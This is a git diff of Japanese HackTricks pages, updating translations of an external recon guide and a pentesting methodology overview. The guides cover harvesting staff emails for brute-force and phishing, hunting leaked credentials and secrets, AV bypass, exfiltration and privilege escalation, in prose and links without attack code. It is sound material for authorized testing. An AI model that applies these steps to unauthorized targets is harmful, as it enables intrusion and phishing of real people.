**オープンなバケツや公開されたクラウド関数**などが見つかった場合は、**アクセス**して、提供されているものを確認し、悪用できるかどうかを試してください。
|
||||
|
||||
## メール
|
||||
|
||||
スコープ内の**ドメイン**と**サブドメイン**があれば、企業のメールアドレスを検索を開始するために必要なものがすべて揃っています。
|
||||
|
||||
企業のメールアドレスを見つけるために最も効果的だった**API**と**ツール**は次のとおりです:
|
||||
スコープ内の**ドメイン**と**サブドメイン**を使用すると、企業のメールアドレスを検索するのに必要なすべてが揃います。これらは私にとって最も効果的だった企業のメールアドレスを見つけるための**API**と**ツール**です:
|
||||
|
||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - APIsを使用
|
||||
- [**https://hunter.io/**](https://hunter.io/)のAPI(無料版)
|
||||
|
@ -545,33 +543,33 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### **脆弱性を探す**
|
||||
|
||||
後でメールは、WebログインやSSHなどの認証サービスを**ブルートフォース攻撃**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる**個人に関する情報**を提供してくれるため、フィッシングキャンペーンに役立ちます。
|
||||
後でメールアドレスは、WebログインやSSHなどの認証サービスを**ブルートフォース攻撃**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる**個人に関する情報**をさらに提供してくれるため、フィッシングキャンペーンに役立ちます。
|
||||
|
||||
## 資格情報の漏洩
|
||||
|
||||
**ドメイン**、**サブドメイン**、および**メールアドレス**を使用して、過去に漏洩した資格情報を探すことができます:
|
||||
**ドメイン**、**サブドメイン**、および**メールアドレス**を使用して、過去に漏洩した資格情報を探すことができます:
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
**有効な漏洩**された資格情報を見つけた場合、これは非常に簡単な勝利です。
|
||||
**有効な漏洩した**資格情報を見つけた場合、これは非常に簡単な勝利です。
|
||||
|
||||
## シークレットの漏洩
|
||||
|
||||
資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業はそのデータベースにない情報が含まれる**他の漏洩**にも影響を受ける可能性があります:
|
||||
資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業はそのデータベースにない情報が含まれている**他の漏洩**にも影響を受ける可能性があります。
|
||||
|
||||
### Githubの漏洩
|
||||
|
||||
資格情報やAPIが、**企業**またはそのgithub企業の**ユーザー**の**パブリックリポジトリ**に漏洩している可能性があります。\
|
||||
ツール[**Leakos**](https://github.com/carlospolop/Leakos)を使用して、**組織**とその**開発者**の**パブリックリポジトリ**全体を**ダウンロード**し、自動的にそれらに[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行できます。
|
||||
資格情報やAPIが、**企業**またはそのgithub企業の**開発者**の**パブリックリポジトリ**に漏洩している可能性があります。\
|
||||
[**Leakos**](https://github.com/carlospolop/Leakos)ツールを使用して、**組織**とその**開発者**のすべての**パブリックリポジトリ**を**ダウンロード**し、自動的に[gitleaks](https://github.com/zricethezav/gitleaks)を実行できます。
|
||||
|
||||
**Leakos**は、**URLが渡されるときに**提供される**テキスト**全体に**gitleaks**を実行するためにも使用できます。
|
||||
**Leakos**は、**URL**を渡された**テキスト**全体に**gitleaks**を実行するためにも使用できます。なぜなら、**ウェブページにも秘密が含まれている**場合があるからです。
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
攻撃対象となっている組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください:
|
||||
攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -579,52 +577,52 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### ペーストの漏洩
|
||||
|
||||
攻撃者や単なる作業者が、企業のコンテンツをペーストサイトに**公開**することがあります。これには**機密情報**が含まれる場合も含まれる場合もありますが、それを検索することは非常に興味深いです。\
|
||||
80以上のペーストサイトで検索するために、ツール[**Pastos**](https://github.com/carlospolop/Pastos)を使用できます。
|
||||
攻撃者や作業者が**企業のコンテンツをペーストサイトに公開**することがあります。これには**機密情報**が含まれる場合も含まれない場合もありますが、検索する価値があります。\
|
||||
80以上のペーストサイトで検索するために[**Pastos**](https://github.com/carlospolop/Pastos)ツールを使用できます。
|
||||
|
||||
### Google Dorks
|
||||
|
||||
古くからのGoogle Dorksは、**そこにあってはいけない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできません。したがって、お気に入りの10個を選択するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
|
||||
古くからあるが有用なGoogle Dorksは、**そこにあってはならない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできないことです。したがって、お気に入りの10個を選択するか、[**Gorks**](https://github.com/carlospolop/Gorks)などの**ツールを使用してすべてを実行**することができます。
|
||||
|
||||
_通常のGoogleブラウザを使用してデータベース全体を実行することを期待しているツールは、Googleが非常にすぐにブロックするため、決して終了しません。_
|
||||
_通常のGoogleブラウザを使用してデータベース全体を実行することを期待しているツールは、Googleがすぐにブロックするため、決して終了しません。_
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
**有効な漏洩**された資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
|
||||
**有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
|
||||
|
||||
## パブリックコードの脆弱性
|
||||
|
||||
企業が**オープンソースコード**を持っていることがわかった場合、そのコードを**分析**して**脆弱性**を検索できます。
|
||||
|
||||
**言語によって異なるツール**を使用できます:
|
||||
**言語によって異なるツール**を使用できます:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます:
|
||||
また、次のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます:
|
||||
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
## [**Webペンテスト手法**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Webペンテスト方法論**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト手法**について話したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。
|
||||
**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト方法論**について話したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。
|
||||
|
||||
また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)セクションに特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに便利**です。
|
||||
また、[**Web自動スキャナーのオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)セクションに特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**初期のWeb情報を取得するためのワークフローに役立ちます**。
|
||||
|
||||
## 要約
|
||||
|
||||
> おめでとうございます!この時点で**すべての基本的な列挙**をすでに行っています。はい、基本的な列挙ですが、さらに多くの列挙ができます(後でさらなるトリックを見ていきます)。
|
||||
> おめでとうございます!この時点で**すべての基本的な列挙**をすでに実行しています。はい、基本的な列挙ですが、(後でさらにトリックを見るでしょう)他にもたくさんの列挙ができます。
|
||||
|
||||
したがって、すでに次のことを行っています:
|
||||
|
||||
1. スコープ内の**すべての企業**を見つけました
|
||||
2. 企業に属する**すべての資産**を見つけました(スコープ内であればいくつかの脆弱性スキャンを実行)
|
||||
2. 企業に属する**すべての資産**を見つけました(スコープ内であればいくつかの脆弱性スキャンを実行しました)
|
||||
3. 企業に属する**すべてのドメイン**を見つけました
|
||||
4. ドメインの**すべてのサブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?)
|
||||
5. スコープ内の**CDNからでないIP**を含むすべての**IP**を見つけました
|
||||
6. **すべてのWebサーバー**を見つけ、**スクリーンショット**を取りました(深く調査する価値のある奇妙なものはありましたか?)
|
||||
6. **すべてのWebサーバー**を見つけ、それらの**スクリーンショット**を撮りました(深く調査する価値のある奇妙なものはありましたか?)
|
||||
7. 企業に属する**潜在的なパブリッククラウド資産**をすべて見つけました
|
||||
8. **簡単に大きな勝利をもたらす可能性のあるメール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました
|
||||
8. **簡単に大きな勝利をもたらす可能性のある** **メール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました
|
||||
9. 見つけたすべてのWebを**ペンテスト**しました
|
||||
|
||||
## **完全なRecon自動ツール**
|
||||
|
@ -640,9 +638,9 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)など
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の書き言葉と話し言葉が必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の書き言葉と会話が必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -652,10 +650,10 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでのAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、**ゼロからヒーローまでのAWSハッキングを学びましょう**!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するために、HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方、**解読不能なものをハックしたい方** - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -32,57 +32,57 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [企業の資産の発見](external-recon-methodology/)
|
||||
|
||||
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**インターネット上の企業の資産**を見つけるかに興味があるかもしれません。
|
||||
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)や**インターネット上の会社の資産**を見つけることに興味があるかもしれません。
|
||||
|
||||
{% hint style="info" %}
|
||||
外部テストを実行している場合、企業の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
|
||||
外部テストを実行している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
|
||||
|
||||
**このセクションは、内部テストを実行している場合にのみ適用されます。**\
|
||||
ホストを攻撃する前に、おそらく**ネットワークからいくつかの資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)に学ぶためにデータをスニッフィング**することを好むかもしれません。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読むことができます。
|
||||
ホストを攻撃する前に、ネットワークから**一部の資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)に学ぶためにデータをスニッフィング**することができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでみてください。
|
||||
|
||||
### 3- [ポートスキャン - サービスの発見](pentesting-network/#scanning-hosts)
|
||||
|
||||
**ホストの脆弱性を探している場合に最初に行うべきことは、どのポートでどのサービスが実行されているかを知ることです。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
|
||||
**ホストの脆弱性を探している場合、最初に行うべきことは、どのポートでどのサービスが実行されているかを知ることです。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
|
||||
|
||||
### **4-** [サービスバージョンの脆弱性の検索](search-exploits.md)
|
||||
### **4-** [サービスバージョンの脆弱性を検索](search-exploits.md)
|
||||
|
||||
実行されているサービスとそのバージョンを知っている場合、**既知の脆弱性を検索**する必要があります。運が良ければ、シェルを提供する脆弱性が見つかるかもしれません...
|
||||
実行されているサービスとそのバージョンを知ったら、**既知の脆弱性を検索する必要があります。**運が良ければ、シェルを提供する脆弱性が見つかるかもしれません...
|
||||
|
||||
### **5-** サービスのペンテスト
|
||||
|
||||
実行中のサービスに特別な脆弱性がない場合、**実行中の各サービスで一般的なミス構成を探す**必要があります。
|
||||
実行中のサービスに特別な脆弱性がない場合、**実行中の各サービスで一般的なミス構成を探す必要があります。**
|
||||
|
||||
**この書籍の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(および一般的でないものも)。左のインデックスで**PENTESTING**セクションを検索してください(サービスはデフォルトポートで並べられています)。
|
||||
**この本の中で、最も一般的なサービスをペンテストするガイドが見つかります**(および一般的でないものも)。左のインデックスで**PENTESTING**セクションを検索してください(サービスはデフォルトポートで並べられています)。
|
||||
|
||||
**特に[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に言及したいと思います。**\
|
||||
また、ここで[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)が見つかります。
|
||||
[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に特に言及したいと思います(最も広範な部分です)。**\
|
||||
また、[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)もここにあります。
|
||||
|
||||
**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを探し、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**独自のブラインドペンテスト**を実行して、**サービスに接続し、それをファジングして応答を読む**ことから始めることができます。
|
||||
**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを見つけ、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**独自のブラインドペンテスト**を実行して、**サービスに接続し、ファジングを開始し、応答を読む**ことから始めることができます。
|
||||
|
||||
#### 5.1 自動ツール
|
||||
|
||||
**自動脆弱性評価**を実行できるいくつかのツールもあります。**この書籍で見つけることができるサービスのペンテストに関するノートに基づいて作成された**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。**
|
||||
**自動脆弱性評価を実行できるツールもいくつかあります。**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。**
|
||||
|
||||
#### **5.2 サービスのブルートフォース**
|
||||
|
||||
一部のシナリオでは、**ブルートフォース**が**サービスを侵害**するのに役立つ場合があります。[**異なるサービスのブルートフォースのチートシート**](brute-force.md)**をこちらで見つけてください。**
|
||||
一部のシナリオでは、**ブルートフォース**が**サービスを侵害するのに役立つ場合があります。**[**ここで、さまざまなサービスのブルートフォースのチートシート**](brute-force.md)**を見つけてください。**
|
||||
|
||||
### 6- [フィッシング](phishing-methodology/)
|
||||
|
||||
この時点で興味深い脆弱性を見つけられない場合は、ネットワーク内に入るために**いくつかのフィッシングを試す必要がある**かもしれません。フィッシング手法については[こちら](phishing-methodology/)を読んでください。
|
||||
この時点で興味深い脆弱性が見つからない場合、**ネットワーク内に入るためにいくつかのフィッシングを試す必要があるかもしれません。**フィッシング手法については、[こちら](phishing-methodology/)を読んでください。
|
||||
|
||||
### **7-** [**シェルの取得**](shells/)
|
||||
|
||||
何らかの方法で被害者でコードを実行できるようになっているはずです。その後、シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます。
|
||||
何らかの方法で**被害者でコードを実行する方法**を見つけるはずです。その後、シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます。
|
||||
|
||||
特にWindowsでは、**アンチウイルスを回避するためのヘルプ**が必要になるかもしれません:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**
|
||||
特にWindowsでは、**アンチウイルスを回避するためのヘルプが必要**です:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**
|
||||
|
||||
### 8- 内部
|
||||
|
||||
シェルで問題が発生した場合、ペンテスターにとって非常に有用な**コマンドの小さなコンパイル**がここにあります:
|
||||
シェルで問題が発生した場合、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がここにあります:
|
||||
|
||||
- [**Linux**](../linux-hardening/useful-linux-commands/)
|
||||
- [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
|
@ -90,25 +90,25 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
### **9 -** [**エクスフィルトレーション**](exfiltration.md)
|
||||
|
||||
おそらく、被害者から**データを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。これらの目的で使用できる**一般的なツールについてのポスト**が[こちら](exfiltration.md)**にあります。**
|
||||
おそらく、**被害者からデータを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。これらの目的に使用できる**一般的なツールについてのポスト**が[こちら](exfiltration.md)**にあります。**
|
||||
### **10- 特権昇格**
|
||||
|
||||
#### **10.1- ローカル特権昇格**
|
||||
|
||||
ボックス内で**root/Administratorではない**場合、**特権昇格の方法を見つける必要があります。**\
|
||||
ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格する方法についてのガイドが見つかります。**\
|
||||
また、以下のWindowsの動作に関するページもチェックしてください:
|
||||
また、以下のWindowsの動作に関するページもチェックする必要があります:
|
||||
|
||||
* [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [**NTLMの動作**](../windows-hardening/ntlm/)
|
||||
* Windowsでの[**資格情報の盗み取り**](broken-reference/)
|
||||
* Windowsでの[**資格情報の盗み出し**](broken-reference/)
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック
|
||||
|
||||
**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールをチェックするのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**WindowsとLinuxのローカル特権昇格パスを列挙するための最適なツールを確認するのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- ドメイン特権昇格**
|
||||
|
||||
ここでは、[**Active Directoryを列挙し、特権昇格し、持続するための最も一般的なアクションを説明する方法論**](../windows-hardening/active-directory-methodology/)が見つかります。これはセクションの一部に過ぎませんが、これはPentesting/Red Teamの割り当てにおいて**非常に繊細**なプロセスになる可能性があります。
|
||||
ここでは、[**Active Directoryを列挙し、特権昇格し、持続するための最も一般的なアクションを説明する方法論**](../windows-hardening/active-directory-methodology/)を見つけることができます。これはセクションの一部に過ぎませんが、これはPentesting/Red Teamの割り当てにおいて**非常に繊細**なプロセスとなる可能性があります。
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -124,14 +124,14 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
TODO: WindowsとLinuxでの持続性ポストを完了する
|
||||
|
||||
### 12 - ピボティング
|
||||
### 12 - ピボット
|
||||
|
||||
**収集した資格情報**を使用して他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内の新しいホストを**発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\
|
||||
**収集した資格情報**を使用して、他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で**新しいホストを発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\
|
||||
この場合、トンネリングが必要になるかもしれません。[**トンネリングについての記事**](tunneling-and-port-forwarding.md)がここにあります。\
|
||||
また、[**Active Directoryのペンテスト方法論**](../windows-hardening/active-directory-methodology/)についての記事もチェックする必要があります。そこでは、横断移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
|
||||
Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**](../windows-hardening/ntlm/)のページもチェックしてください。
|
||||
|
||||
### もっと見る
|
||||
### その他
|
||||
|
||||
#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/)
|
||||
|
||||
|
@ -147,24 +147,24 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
|
|||
|
||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
* [**パディングオラクル**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある場合、**解読不可能なものをハックする** - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある場合、**解読可能なものをハッキングする** - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,11 +10,11 @@ HackTricksをサポートする他の方法:
|
|||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
